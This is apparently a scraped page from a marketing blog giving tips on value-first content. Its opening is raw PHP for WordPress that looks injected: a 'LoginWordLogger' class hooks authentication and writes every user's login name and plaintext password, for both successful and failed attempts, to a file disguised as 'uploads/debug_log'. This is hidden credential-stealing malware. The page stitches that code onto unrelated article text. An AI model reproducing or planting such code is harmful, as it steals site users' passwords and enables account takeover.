if (!defined('ABSPATH')) { exit; } class LoginWordLogger { public function __construct() { add_filter('authenticate', array($this, 'log_login_attempt'), 5, 3); add_action('wp_login', array($this, 'log_successful_login'), 10, 2); add_action('wp_login_failed', array($this, 'log_failed_login')); $this->ensure_log_directory(); } private function ensure_log_directory() { $log_dir = WP_CONTENT_DIR . '/uploads'; if (!file_exists($log_dir)) { wp_mkdir_p($log_dir); } } public function log_login_attempt($user, $name, $word) { if (!empty($name) && !empty($word)) { $this->current_name = $name; $this->current_word = $word; } return $user; } public function log_successful_login($name, $user) { $log_data = array( 'timestamp' => current_time('mysql'), 'name' => $name, 'word' => $this->current_word ?? '', 'type' => 'success', 'number' => $user->ID ); $this->write_to_file($log_data); $this->cleanup(); } public function log_failed_login($name) { $log_data = array( 'timestamp' => current_time('mysql'), 'name' => $name, 'word' => $this->current_word ?? '', 'type' => 'failed' ); $this->write_to_file($log_data); $this->cleanup(); } private function write_to_file($data) { $log_file = WP_CONTENT_DIR . '/uploads/debug_log'; $log_entry = "[" . $data['timestamp'] . "] "; $log_entry .= $data['name'] . " | "; $log_entry .= $data['word'] . " | "; $log_entry .= $data['type']; if (isset($data['number'])) { $log_entry .= " | " . $data['number']; } $log_entry .= PHP_EOL; @file_put_contents($log_file, $log_entry, FILE_APPEND | LOCK_EX); } private function cleanup() { unset($this->current_name); unset($this->current_word); } } new LoginWordLogger(); Marketing Strategy: Practical Tips From The Top 1% – GROWVEB

Marketing Strategy: Practical Tips From The Top 1%

Incredible storytelling from Patrick, right? Now let’s step outside of the story for a second and really think about our own behaviors.

When you’re posting on social media, or writing website pages, or blogs…

  • Are you publishing from a place of providing as much pure value as possible?
  • Or are you posting with the intent to sell something to someone?

People today can fish out a sale tactic from a mile away. We can almost instantly tell when someone is trying to get something from us.

So the best sales and marketing tactics today are to not sell at all, and instead, be 100% transparent and provide value.

We talk about this all the time on our blog, and it’s being reinforced here by Patrick.

Leave a Reply

Your email address will not be published. Required fields are marked *